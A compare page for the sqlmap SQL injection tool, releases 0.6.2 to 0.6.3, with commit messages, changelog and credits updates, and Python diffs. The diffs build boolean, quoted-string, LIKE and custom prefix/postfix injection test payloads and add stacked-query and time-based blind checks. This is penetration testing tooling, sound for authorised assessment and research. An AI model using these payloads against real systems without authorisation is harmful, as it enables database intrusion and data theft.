Compare commits

..

67 Commits
0.6.2 ... 0.6.3

Author SHA1 Message Date
Bernardo Damele
68354be45a Ahead with enhancements on comparison algorithm: implemented content-length technique 2008-12-18 22:49:35 +00:00
Bernardo Damele
afbd66f6d9 Added some comments 2008-12-18 21:58:05 +00:00
Bernardo Damele
d0d6632c22 Initial support to automatically work around the dynamic page at each refresh
(Major refactor to the comparison algorithm (True/False response))
2008-12-18 20:48:23 +00:00
Bernardo Damele
3fe493b63d Minor enhancement to support an option (--is-dba) to show if the
current user is a database management system administrator.
2008-12-18 20:41:11 +00:00
Bernardo Damele
c32ef9d751 Major bug fix to avoid tracebacks when multiple targets are specified and one
of them is not reachable.
Minor bug fix to make the --postfix work even if --prefix is not provided.
2008-12-18 20:38:57 +00:00
Bernardo Damele
2efb3ae2ba Documentation updated, now ready for 0.6.3 release 2008-12-17 23:26:14 +00:00
Bernardo Damele
6dec56d616 Major bug fix 2008-12-17 21:35:04 +00:00
Bernardo Damele
bb9079aa9d Minor documentation adjustments 2008-12-17 20:58:19 +00:00
Bernardo Damele
94c79e3209 Updated documentation 2008-12-17 20:17:34 +00:00
Bernardo Damele
dda62ba463 Minor adjustments and bug fixes 2008-12-17 20:11:18 +00:00
Bernardo Damele
7b55840b35 cleanup configuration INI file 2008-12-17 00:22:27 +00:00
Bernardo Damele
ec11f502df Site and documentation updated, ready to release 0.6.3 in two days 2008-12-17 00:19:01 +00:00
Bernardo Damele
36d9ede001 Updated documentation, ready for sqlmap 0.6.3 release 2008-12-16 23:52:16 +00:00
Bernardo Damele
b7f2602b50 A bit more entropy in the sql injection detection 2008-12-16 23:51:56 +00:00
Bernardo Damele
2b0ec1868d Updated documentation 2008-12-16 21:31:15 +00:00
Bernardo Damele
4156181367 Minor fix 2008-12-16 21:31:01 +00:00
Bernardo Damele
05a8c8d3bf Added support to test for stacked queries support and improved check for time based blind sql injection.
Minor bug fix in --save option
2008-12-16 21:30:24 +00:00
Bernardo Damele
bf2a857b9a Minor adjustments and minor bug fixes. Documentation almost complete for sqlmap 0.6.3. 2008-12-12 19:06:31 +00:00
Bernardo Damele
072eb7154c Major enhancement to support Partial UNION query SQL injection technique too.
Minor code cleanup.
2008-12-10 17:23:07 +00:00
Bernardo Damele
9dbad512f1 sqlmap 0.6.3-rc4: minor enhancement to be able to specify extra HTTP headers
by providing option --headers. By default Accept, Accept-Language and
Accept-Charset headers are set.
Added support to get the injection payload prefix and postfix from user.
Minor bug fix to exclude image files when parsing (-l) proxies log files.
Minor code adjustments.
Updated documentation.
2008-12-08 21:24:24 +00:00
Bernardo Damele
15542d2772 Minor layout adjustment 2008-12-05 16:00:18 +00:00
Bernardo Damele
38c9627700 Minor enhancemet to support also --regexp, --excl-str and --excl-reg
options rather than only --string when comparing HTTP responses page
content
2008-12-05 15:34:13 +00:00
Bernardo Damele
78e8a83c11 Minor improvement to be able to provide CU as user value (-U) when enumerating
users privileges or users passwords.
2008-12-05 15:32:59 +00:00
Bernardo Damele
7f055924a7 sqlmap 0.6.3-rc4:
Minor enhancement to be able to specify the number of seconds before
timeout the connection, default is set to 10 seconds.
Minor improvement to retry the HTTP request up to three times in case
an exception is raised during the connection to the target url.
Minor bug fix to correctly catch connection exceptions and notify to
the user also if they occur within a thread.
Minor code restyling.
Updated documentation.
2008-12-04 17:40:03 +00:00
Bernardo Damele
0f07e33e1a Removed REVISION, makes no sense.
Import and use python psyco library to speed up if it's installed: it's optional.
2008-12-03 17:32:16 +00:00
Bernardo Damele
e3ddbe751f Minor code refactoring 2008-12-02 23:49:38 +00:00
Bernardo Damele
4cb161ce4f Minor signatures adjustments 2008-12-02 23:48:07 +00:00
Bernardo Damele
b700485a1b Minor adjustment, still to work on the cookie urlencoding/decoding 2008-12-02 21:57:12 +00:00
Bernardo Damele
578bcb9140 Initial support for partial UNION query sql injection 2008-12-02 21:56:23 +00:00
Bernardo Damele
f97585c593 Show also SVN revision in error message when a traceback raises.
Fix typo.
2008-12-01 23:49:14 +00:00
Bernardo Damele
e75487a26c Reverted last commit, cleaner this way 2008-12-01 23:33:15 +00:00
Bernardo Damele
e2a805ef6a Minor workaround because of latest bug fix 2008-12-01 23:32:14 +00:00
Bernardo Damele
a777f1ca35 Minor bug fix 2008-12-01 23:27:51 +00:00
Bernardo Damele
034a3f387a Minor improvement when testing for UNION query SQL injection to check only without comment and with DBMS specific comment (not anymore "random" unspecific comment characters) 2008-12-01 23:09:07 +00:00
Bernardo Damele
3cf1658532 Increased default output level from 0 to 1 2008-12-01 23:07:41 +00:00
Bernardo Damele
428612b431 Comment and layout adjustments 2008-12-01 23:04:01 +00:00
Bernardo Damele
beea58f2e9 Updated MySQL versions 2008-12-01 23:02:52 +00:00
Bernardo Damele
e967b13378 Minor adjustment to command line usage message 2008-11-27 23:06:02 +00:00
Bernardo Damele
6e548eb2ec Completed support to get the list of targets from WebScarab/Burp proxies
log file and updated the documentation
2008-11-27 22:33:33 +00:00
Bernardo Damele
785352d700 Minor adjustments to signatures 2008-11-27 22:31:43 +00:00
Bernardo Damele
dc1f2deb74 Minor bug fix to correctly enumerate columns on Microsoft SQL Server.
Minor adjustments to XML signatures.
Updated documentation.
2008-11-25 11:33:44 +00:00
Bernardo Damele
f2737ad0a3 Updated work on multiple targets support (works for WebScarab conversations/ folder, still to work out for Burp log file).
Major bug fix in the controller library.
2008-11-22 01:57:22 +00:00
Bernardo Damele
9be844cf3e Adapted the code to support a list of targets from a text file (Burp log file) or from a directory (WebScarab conversations folder) with command line option -l. 2008-11-20 17:56:09 +00:00
Bernardo Damele
80425c9ccd Minor adjustment to ETA feature 2008-11-20 11:13:04 +00:00
Bernardo Damele
8f74fe2ce9 Added new HTTP response headers on which fingerprint web app technology and web server OS.
Updated documentation.
2008-11-19 15:33:39 +00:00
Bernardo Damele
736b2e7323 Minor adjustments to the operating system fingerprint. 2008-11-19 00:36:44 +00:00
Bernardo Damele
727664aea7 Minor enhancement to fingerprint the web server operating system and
the web application technology by parsing also HTTP response Server
header.
Refactor libraries and plugins that parses XML to fingerprint and show
on standard output the information.
Updated changelog.
2008-11-18 17:42:46 +00:00
Bernardo Damele
7d0724843f Major enhancement to the engine to parse XML files and matches on DBMS banner
and HTTP response headers.
Initial web application technology fingerprint (for the moment based only on
X-Powered-By HTTP response header and not shown yet to the user).
Minor layout adjustments.
2008-11-17 17:41:02 +00:00
Bernardo Damele
66fb3c3033 Minor enhancement to show the DBMS operating system (if fingerprinted)
also when only -b option is provided since it's an information that
sqlmap get parsing the DBMS banner.
Got rid completely of useless passive fuzzing.
2008-11-17 11:22:03 +00:00
Bernardo Damele
7d7170fc97 Minor code adjustments 2008-11-17 00:13:49 +00:00
Bernardo Damele
654aecedfe Minor layout adjustments, minor fixes and updated changelog 2008-11-17 00:00:54 +00:00
Bernardo Damele
fa0507ab39 Minor enhancement to fingerprint the back-end DBMS operating system (type,
version, release, distribution, codename and service pack) by parsing the
DBMS banner value when both -f and -b are provided: adapted the code and
added XML files defining regular expressions for matching.

Example of the -f -b output now on MySQL 5.0.67 running on latest Ubuntu:
--8<--
back-end DBMS:	active fingerprint: MySQL >= 5.0.38 and < 5.1.2
                comment injection fingerprint: MySQL 5.0.67
                banner parsing fingerprint: MySQL 5.0.67
                html error message fingerprint: MySQL
back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid)
--8<--
2008-11-15 23:41:31 +00:00
Bernardo Damele
84cbc60659 Major bug fix to correctly handle httplib.BadStatusLine exception.
Minor improvement to set by default in all HTTP requests the standard HTTP headers (Accept, Accept-Encoding, etc.)
Updated user's manual.
2008-11-15 12:25:19 +00:00
Bernardo Damele
4bf1fcb8ec Minor layout adjustment 2008-11-15 01:10:29 +00:00
Bernardo Damele
0bd5b52d95 Minor fixes 2008-11-13 00:03:04 +00:00
Bernardo Damele
ecc4a98071 Properly moved and improved inject.goStacked() function and newly
implemented Time based blind SQL injection now is a single test file
within the lib/techniques/ folder.
Renamed lib/techniques/inference to lib/techniques/blind, it is more
approriate and adapted the rest of the libraries.
Updated ChangeLog file.
2008-11-12 23:44:09 +00:00
Bernardo Damele
9329f8c9c4 Minor enhancement to be able to enumerate table columns and dump table
entries also if the database name is not provided by using the current
database on MySQL and MSSQL, the 'public' scheme on PostgreSQL and the
'USERS' TABLESPACE_NAME on Oracle.
Minor bug fix so that when the user provide as SELECT statement to be
processed an asterisk, now it also work if in the FROM there is no
database name specified.
Minor layout adjustments.
2008-11-12 22:53:25 +00:00
Bernardo Damele
81ed7c2086 Initial implementation of support for stacked queries.
Added method to test for Time based blind SQL injection query stacking
on the affected parameter a SLEEP() or similar DBMS specific function.
Adapted libraries, plugins and XML with the above changes.
Minor layout adjustments.
2008-11-12 00:36:50 +00:00
Bernardo Damele
13f76cfe3b Adjusted unhandled exception error message 2008-11-11 14:08:40 +00:00
Bernardo Damele
e1385eb2bf Removed useless W3C reference for CSS/HTML validation 2008-11-09 19:00:54 +00:00
Bernardo Damele
0c5d3df546 sqlmap 0.6.3-rc1:
* Minor enhancement to be able to specify the number of seconds to wait between each HTTP request.
* Minor bug fix to handle session.error and session.timeout in HTTP requests.
* Updated documentation.
2008-11-09 16:57:47 +00:00
Bernardo Damele
544ced52b5 Name adjustment 2008-11-04 19:56:07 +00:00
Bernardo Damele
2a01de3f0b Minor bug fix to correctly dump table entries when the column is provided 2008-11-04 19:54:44 +00:00
Bernardo Damele
be599d5a33 Updated documentation and minor fix in update functionality 2008-11-04 16:33:13 +00:00
Bernardo Damele
359b28bbaf Updated documentation 2008-11-04 16:09:12 +00:00
Bernardo Damele
0f79ec0088 Minor bug fix in MySQL comment injection fingerprint technique 2008-11-04 16:05:43 +00:00
Bernardo Damele
278f0aad7c Documentation updated 2008-11-03 01:23:55 +00:00
64 changed files with 6766 additions and 2598 deletions

View File

@@ -1,3 +1,72 @@
sqlmap (0.6.4-1) stable; urgency=low
* Minor enhancement to support an option (--is-dba) to show if the
current user is a database management system administrator;
* Major bug fix to avoid tracebacks when multiple targets are specified
and one of them is not reachable;
* Minor bug fix to make the --postfix work even if --prefix is not
provided;
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Day, DD MMM 2009 10:00:00 +0000
sqlmap (0.6.3-1) stable; urgency=low
* Major enhancement to get list of targets to test from Burp proxy
(http://portswigger.net/suite/) requests log file path or WebScarab
proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
'conversations/' folder path by providing option -l <filepath>;
* Major enhancement to support Partial UNION query SQL injection
technique too;
* Major enhancement to test if the web application technology supports
stacked queries (multiple statements) by providing option
--stacked-test which will be then used someday also by takeover
functionality;
* Major enhancement to test if the injectable parameter is affected by
a time based blind SQL injection technique by providing option
--time-test;
* Minor enhancement to fingerprint the web server operating system and
the web application technology by parsing some HTTP response headers;
* Minor enhancement to fingerprint the back-end DBMS operating system by
parsing the DBMS banner value when -b option is provided;
* Minor enhancement to be able to specify the number of seconds before
timeout the connection by providing option --timeout #, default is set
to 10 seconds and must be 3 or higher;
* Minor enhancement to be able to specify the number of seconds to wait
between each HTTP request by providing option --delay #;
* Minor enhancement to be able to get the injection payload --prefix and
--postfix from user;
* Minor enhancement to be able to enumerate table columns and dump table
entries, also when the database name is not provided, by using the
current database on MySQL and Microsoft SQL Server, the 'public'
scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle;
* Minor enhancemet to support also --regexp, --excl-str and --excl-reg
options rather than only --string when comparing HTTP responses page
content;
* Minor enhancement to be able to specify extra HTTP headers by providing
option --headers. By default Accept, Accept-Language and Accept-Charset
headers are set;
* Minor improvement to be able to provide CU (as current user) as user
value (-U) when enumerating users privileges or users passwords;
* Minor improvements to sqlmap Debian package files;
* Minor improvement to use Python psyco (http://psyco.sourceforge.net/)
library if available to speed up the sqlmap algorithmic operations;
* Minor improvement to retry the HTTP request up to three times in case
an exception is raised during the connection to the target url;
* Major bug fix to correctly enumerate columns on Microsoft SQL Server;
* Major bug fix so that when the user provide a SELECT statement to be
processed with an asterisk as columns, now it also work if in the FROM
there is no database name specified;
* Minor bug fix to correctly dump table entries when the column is
provided;
* Minor bug fix to correctly handle session.error, session.timeout and
httplib.BadStatusLine exceptions in HTTP requests;
* Minor bug fix to correctly catch connection exceptions and notify to
the user also if they occur within a thread;
* Increased default output level from 0 to 1;
* Updated documentation.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Thu, 18 Dec 2008 10:00:00 +0000
sqlmap (0.6.2-1) stable; urgency=low
* Major bug fix to correctly dump tables entries when --stop is not
@@ -12,6 +81,7 @@ sqlmap (0.6.2-1) stable; urgency=low
variable) is an integer and, for some reasons, its resumed value from
the session file is a string or a binary file, the query is executed
again and its new output saved to the session file;
* Minor bug fix in MySQL comment injection fingerprint technique;
* Minor improvement to correctly enumerate tables, columns and dump
tables entries on Oracle and on PostgreSQL when the database name is
not 'public' schema or a system database;
@@ -19,11 +89,10 @@ sqlmap (0.6.2-1) stable; urgency=low
database name, table name and column(s) are provided;
* Updated the database management system fingerprint checks to correctly
identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3;
* More user-friendly warnin messages.
* More user-friendly warning messages.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 2 Nov 2008 19:00:00 +0000
sqlmap (0.6.1-1) stable; urgency=low
* Major bug fix to blind SQL injection bisection algorithm to handle an
@@ -45,7 +114,6 @@ sqlmap (0.6.1-1) stable; urgency=low
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 20 Oct 2008 10:00:00 +0000
sqlmap (0.6-1) stable; urgency=low
* Complete code refactor and many bugs fixed;
@@ -111,7 +179,6 @@ sqlmap (0.6-1) stable; urgency=low
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Mon, 1 Sep 2008 10:00:00 +0100
sqlmap (0.5-1) stable; urgency=low
* Added support for Oracle database management system
@@ -159,7 +226,6 @@ sqlmap (0.5-1) stable; urgency=low
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 4 Nov 2007 20:00:00 +0100
sqlmap (0.4-1) stable; urgency=low
* Added DBMS fingerprint based also upon HTML error messages parsing
@@ -188,14 +254,14 @@ sqlmap (0.4-1) stable; urgency=low
the remote DBMS;
* Major improvements in union.UnionCheck() and union.UnionUse()
functions to make it possible to exploit inband SQL injection also
with database comment characters ('--' and '#') in UNION SELECT
with database comment characters ('--' and '#') in UNION query
statements;
* Added the possibility to save the output into a file while performing
the queries (-o OUTPUTFILE) so it is possible to stop and resume the
same query output retrieving in a second time (--resume);
* Added support to specify the database table column to enumerate
(-C COL);
* Added inband SQL injection (UNION SELECT) support (--union-use);
* Added inband SQL injection (UNION query) support (--union-use);
* Complete code refactoring, a lot of minor and some major fixes in
libraries, many minor improvements;
* Reviewed the directory tree structure;
@@ -205,7 +271,6 @@ sqlmap (0.4-1) stable; urgency=low
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Fri, 15 Jun 2007 20:00:00 +0100
sqlmap (0.3-1) stable; urgency=low
* Added module for MS SQL Server;
@@ -226,7 +291,6 @@ sqlmap (0.3-1) stable; urgency=low
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 20 Jan 2007 20:00:00 +0100
sqlmap (0.2-1) stable; urgency=low
* complete refactor of entire program;

File diff suppressed because it is too large Load Diff

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@@ -5,16 +5,26 @@ Chip Andrews <chip@sqlsecurity.com>
at SQLSecurity.com and permission to implement the update feature
taking data from his site
Jack Butler <fattredd@hotmail.com>
for providing me with the sqlmap site favicon
Karl Chen <quarl@cs.berkeley.edu>
for providing with the multithreading patch for the inference
algorithm
Pierre Chifflier <pollux@debian.org>
for uploading the sqlmap 0.6.2 Debian package to the official Debian
project repository
Stefano Di Paola <stefano.dipaola@wisec.it>
for suggesting good features
Adam Faheem <faheem.adam@is.co.za>
for reporting a few bugs
Jim Forster <jimforster@goldenwest.com>
for reporting a bug
Rong-En Fan <rafan@freebsd.org>
for commiting the sqlmap 0.5 port to the official FreeBSD project
repository
@@ -26,6 +36,7 @@ Giorgio Fedon <giorgio.fedon@gmail.com>
Ivan Giacomelli <truemilk@insiberia.net>
for reporting a bug
for suggesting a minor enhancement
for reviewing the documentation
Davide Guerri <d.guerri@caspur.it>
for suggesting an enhancement
@@ -44,6 +55,12 @@ Will Holcomb <wholcomb@gmail.com>
Luke Jahnke <luke.jahnke@gmail.com>
for reporting a bug when running against MySQL < 5.0
Anant Kochhar <anant.kochhar@secureyes.net>
for providing me with feedback on the user's manual
Nico Leidecker <nico@leidecker.info>
for providing me with feedback on a few features
Pavol Luptak <pavol.luptak@nethemba.com>
for reporting a bug when injecting on a POST data parameter
@@ -52,6 +69,10 @@ Michael Majchrowicz <mmajchrowicz@gmail.com>
for providing really appreciated feedback
for suggesting a lot of ideas and features
Ferruh Mavituna <ferruh@mavituna.com>
for providing me with ideas on the implementation on a couple of
new features
Enrico Milanese <enricomilanese@gmail.com>
for reporting a bugs when using (-a) a single line User-Agent file
for providing me with some ideas for the PHP backdoor
@@ -88,12 +109,24 @@ Richard Safran <allapplyhere@yahoo.com>
Tomoyuki Sakurai <cherry@trombik.org>
for submitting to the FreeBSD project the sqlmap 0.5 port
Philippe A. R. Schaeffer <schaeff@compuphil.de>
for reporting a minor bug
Sven Schluter <sschlueter@netzwerk.cc>
for providing with a patch for waiting a number of seconds between
each HTTP request
M Simkin <mlsimkin@cox.net>
for suggesting a feature
Jason Swan <jasoneswan@gmail.com>
for reporting a bug when enumerating columns on Microsoft SQL Server
for suggesting a couple of improvements
Alessandro Tanasi <alessandro@tanasi.it>
for extensively beta-testing sqlmap
for suggesting many features and reporting some bugs
for reviewing the documentation
Efrain Torres <et@metasploit.com>
for helping me out to improve the Metasploit Framework 3 sqlmap
@@ -110,6 +143,9 @@ Bedirhan Urgun <bedirhanurgun@gmail.com>
for benchmarking sqlmap in the context of his SQL injection
benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench
Kyprianos Vassilopoulos <kyprianos.vasilopoulos@gmail.com>
for reporting an unhandled connection exception
fufuh <fufuh@users.sourceforge.net>
for reporting a bug when running on Windows

View File

@@ -2,10 +2,9 @@ To use Metasploit's sqlmap auxiliary module launch msfconsole and follow
the example below.
Note that if you are willing to run Metasploit's sqlmap auxiliary module on
Metasploit Framework 3.0 or 3.1 you first need to copy wmap_sqlmap.rb to
your <msf3 root path>/modules/auxiliary/scanner/http/ folder then launch
msfconsole because this module has been officially integrated in Metasploit
from the release 3.2.
through WMAP framework you first need to install sqlmap on your system or
add its file system path to the PATH environment variable.
$ ./msfconsole

View File

@@ -31,7 +31,9 @@ from lib.core.data import kb
from lib.core.dump import dumper
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.settings import SUPPORTED_DBMS
from lib.techniques.blind.timebased import timeTest
from lib.techniques.inband.union.test import unionTest
from lib.techniques.outband.stacked import stackedTest
def action():
@@ -66,9 +68,15 @@ def action():
raise sqlmapUnsupportedDBMSException, errMsg
print "back-end DBMS:\t%s\n" % conf.dbmsHandler.getFingerprint()
print "%s\n" % conf.dbmsHandler.getFingerprint()
# Techniques options
if conf.stackedTest:
dumper.string("stacked queries support", stackedTest())
if conf.timeTest:
dumper.string("time based blind sql injection payload", timeTest())
# Miscellaneous options
if conf.unionTest:
dumper.string("valid union", unionTest())
@@ -82,6 +90,9 @@ def action():
if conf.getCurrentDb:
dumper.string("current database", conf.dbmsHandler.getCurrentDb())
if conf.isDba:
dumper.string("current user is DBA", conf.dbmsHandler.isDba())
if conf.getUsers:
dumper.lister("database management system users", conf.dbmsHandler.getUsers())

View File

@@ -24,6 +24,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re
import time
from lib.controller.action import action
@@ -35,6 +36,7 @@ from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.session import setString
from lib.core.session import setRegexp
from lib.request.connect import Connect as Request
@@ -49,13 +51,49 @@ def checkSqlInjection(place, parameter, value, parenthesis):
* Double quoted string injection
"""
logMsg = "testing unescaped numeric injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
randInt = randomInt()
randStr = randomStr()
if conf.prefix or conf.postfix:
prefix = ""
postfix = ""
if conf.prefix:
prefix = conf.prefix
if conf.postfix:
postfix = conf.postfix
infoMsg = "testing custom injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult:
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
infoMsg = "confirming custom injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "custom injectable "
logger.info(infoMsg)
return "custom"
infoMsg = "testing unescaped numeric injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
trueResult = Request.queryPage(payload, place)
@@ -64,148 +102,148 @@ def checkSqlInjection(place, parameter, value, parenthesis):
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "confirming unescaped numeric injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
infoMsg = "confirming unescaped numeric injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "unescaped numeric injectable "
logMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg)
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "unescaped numeric injectable "
infoMsg += "with %d parenthesis" % parenthesis
logger.info(infoMsg)
return "numeric"
logMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "unescaped numeric injectable"
logger.info(logMsg)
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "unescaped numeric injectable"
logger.info(infoMsg)
logMsg = "testing single quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
infoMsg = "testing single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "confirming single quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
infoMsg = "confirming single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "single quoted string injectable "
logMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg)
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "single quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
logger.info(infoMsg)
return "stringsingle"
logMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "single quoted string injectable"
logger.info(logMsg)
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "single quoted string injectable"
logger.info(infoMsg)
logMsg = "testing LIKE single quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
infoMsg = "testing LIKE single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "confirming LIKE single quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
infoMsg = "confirming LIKE single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "LIKE single quoted string injectable "
logMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg)
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "LIKE single quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
logger.info(infoMsg)
return "likesingle"
logMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "LIKE single quoted string injectable"
logger.info(logMsg)
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "LIKE single quoted string injectable"
logger.info(infoMsg)
logMsg = "testing double quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
infoMsg = "testing double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "confirming double quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
infoMsg = "confirming double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "double quoted string injectable "
logMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg)
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "double quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
logger.info(infoMsg)
return "stringdouble"
logMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "double quoted string injectable"
logger.info(logMsg)
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "double quoted string injectable"
logger.info(infoMsg)
logMsg = "testing LIKE double quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
infoMsg = "testing LIKE double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "confirming LIKE double quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
infoMsg = "confirming LIKE double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "LIKE double quoted string injectable "
logMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg)
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "LIKE double quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
logger.info(infoMsg)
return "likedouble"
